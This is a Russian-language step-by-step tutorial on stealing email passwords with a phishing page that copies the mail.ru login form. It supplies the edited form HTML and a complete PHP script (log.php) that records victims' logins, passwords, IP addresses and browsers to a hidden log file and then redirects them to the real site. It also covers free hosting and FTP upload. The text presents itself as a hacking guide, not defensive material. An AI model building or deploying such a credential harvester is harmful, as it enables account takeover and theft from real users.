1. Взлом почты с помощью фейков
В этом разделе я расскажу, как взломать почту с помощью фейков. Для начала, нам нужно зарегистрировать бесплатный хостинг с поддержкой PHP. В данном примере, я использую
http://hostland.su. Регистрация займет у Вас всего пару минут, и еще после регистрации пару минут придется подождать, пока на Вашу почту придет письмо для подтверждения регистрации. После этого можно приступать.
Сначала я расскажу Вам, как делаются фейки.
Давайте сделаем фейк для популярного почтовика
http://mail.ru. (Будем использовать браузер Mozilla Firefox 3)
Открываем ссылку
http://win.mail.ru/cgi-bin/login, так как именно она есть страницей авторизации. Жмем правую кнопку на теле документа. В контекстном меню выбираем опцию “Исходный код страницы”. Выделяем весь код страницы, копируем в буфер обмена, и вставляем в любой текстовый редактор (Скажем, Блокнот). Далее, мы будем работать только с текстом в окне редактора. Для начала ищем слово “Войти”, потому что в нашем случае именно так подписана кнопка авторизации.
Нашли?
Теперь посмотрите на часть кода, которая находиться между тегами
<form> и
</form>, и которая включает в себе найденный нами фрагмент “Войти”. Данная часть исходного кода страницы отвечает за отправку данных, введенных в форму на сайт. Вот, как она у меня выглядит:
Код:
<form method="post" action="auth" onSubmit="return CheckForm(this);">
<input type="hidden" name="page" value="">
<input type="hidden" name="post" value="">
<input type="hidden" name="login_from" value="">
<tr>
<td><img src=http://img.imgsmail.ru/0.gif width=55 height=1><br>Имя</td>
<td width=63%><input type="text" name="Login" value="" class=w_100></td>
<td width=37%><select class=w_100 name="Domain"><option value="mail.ru" SELECTED>@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="bk.ru" >@bk.ru</option><option value="list.ru" >@list.ru</option></select></td>
</tr>
<tr>
<td>Пароль</td>
<td colspan=2>
<table width=100% cellpadding=0 cellspacing=0 border=0><tr>
<td width=100%><input type="password" name="Password" class=w_100></td>
<td> <a href="http://www.mail.ru/pages/help/2.html#2185" target=_new>Забыли пароль?</a></td>
</tr></table>
</td>
</tr>
<tr>
<td> </td>
<td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td>
<td> </td>
</tr>
<tr>
<td> </td>
<td><input type="Submit" value=" Войти " style="margin-top:4px"></td>
<td> </td>
</tr></form>
Давайте обратим внимание на первую строчку кода:
Код:
<form method="post" action="auth" onSubmit="return CheckForm(this);">
Эта строчка указывает, куда мы отправляем данные. Данные у нас отправляются на скрипт “auth” (action="auth"). Полный путь к скрипту выглядит так:
http://win.mail.ru/cgi-bin/auth. В нашей фейковой странице, мы должны заменить только ту строчку, куда идет отправка данных. В нашем случае, мы будем отправлять данные на наш заранее подготовленный PHP скрипт. Следовательно, заменяем строчку
Код:
<form method="post" action="auth" onSubmit="return CheckForm(this);">
на
Код:
<form method="post" action="log.php" onSubmit="return CheckForm(this);">
Улавливаете разницу? Теперь форма будет обращаться к log.php. Сохраните отредактированный файл под именем index.htm.
Давайте приступим к написанию скриптов.
Напишем log.php с таким содержимым:
PHP код:
<?PHP
$Login = $_POST['Login']; // Читаем логин
$Domain = $_POST['Domain']; // Домен
$Browser = getenv("HTTP_USER_AGENT"); // С какого браузера зашли
$Pass = $_POST['Password']; // Пароль
$ip = $_SERVER["REMOTE_ADDR"]; // IP жертвы
$Data = date("d-m-y H:i:s", time()); // Дата и время
// Записываем полученные данные
$text = "[$Data] Browser:[$Browser] IP:$ip Мыло:$Login@$Domain Пасс:$Pass";
$filelog = fopen("base.php","a+"); // Открываем файл базы
fwrite($filelog,"\n $text \n"); // Записываем
fclose($filelog); // Закрываем
header('Location: http://win.mail.ru/cgi-bin/login');
// Переводим жертву на
// указанный адрес
?>
Этот скрипт будет получать данные и сохранять их на хосте в нашей базе данных - base.php. И еще. Почему вместо $_POST['Login'] в скрипте мы не можем написать $_POST['login'] или $_POST['LOGIN'] и т.п.? Потому что регистр полей имеет значение. В нас в index.htm написано:
Код:
<input type="text" name="Login" value="" class=w_100></td>
значит в скрипте должно быть $_POST['Login']. Если мы “Login” напишем как то по иначе (например, в другом регистре), то обязательно должны заменить “Login” и в скрипте, и в HTML-файле. Что будет, если мы этого не сделаем? Тогда срипт не сможет прочитать передаваемое значение поля. То есть а таком случае переменная $Login в нашем скрипте будет равняться “”, то есть ничему.
Напишем код для файла base.php:
PHP код:
<?php echo '<H1>Доступ к базе закрыт!!!</H1>'; exit; ?>
Если кто то перейдет из браузера по адресу
http://your_host.com/base.php, то ему отобразится страница с содержимым “Доступ к базе закрыт!!!”, но если Вы этот файл скачаете с хоста к себе на компьютер, и откроете с помощью текстового редактора, то сможете посмотреть полное его содержимое.
Теперь нужно залить наши файлы на хост. Для этого можно воспользоваться программой Total Comander. Я также хочу заметить, что для загрузки файлов на FTP сервер можно воспользоваться и другими программами.
После того, как Вы подтвердили регистрацию на сайте
http://hostland.su (и вообще на любом другом сайте, который предоставляет бесплатные хостинги), Вам должны были прислать письмо, в котором написаны все данные для доступа к новому аккаунту.
Данные для доступа по FTP выглядят примерно так:
host: ftp.tu2.ru
user: username
password: password
Как использовать эти данные? Очень просто! Я покажу Вам это на примере работы с Total Comander. Другие программы настраиваются по такому же принципу. Для начала запускаем Total Comander.
Вызываем команду FTP => Соединится с FTP сервером…
Теперь нажимаем кнопку “Добавить”, вписываем нужные данные, и жмем “ОК”.
После того, как Вы все правильно сделаете, выполните команду FTP => Соединится с FTP сервером…, выберете только что созданное Вами подключение и нажмите копку “Соединится”. Заливать файлы на хост также просто, как и копировать их на локальный диск. В письме от поставщика услуг (в данном случае —
http://hostland.su), должно быть написано, куда можно закачивать файлы. В нашем случае, файлы можно заливать в папку /htdocs/www.
Загрузим все заранее подготовлены нами файлы (index.htm, log.php, base.php) в эту папку.
Сделали? Теперь откройте любой интернет браузер и перейдите по адресу Вашего сайта. Фейк работает. Введите произвольные значения полей “Логин” и “Пароль” и нажмите кнопку “Войти”. Нужно заметить, что после этого браузер перейдет по адресу
http://win.mail.ru/cgi-bin/login, а именно его мы указывали в файле log.php.
Теперь из своего хоста загрузите на компьютер файл base.php и откройте его в любом текстовом редакторе. Если появилась новая запись в которой есть точно введенные Ваши данные — значит, поздравляю, Вы все сделали правильно!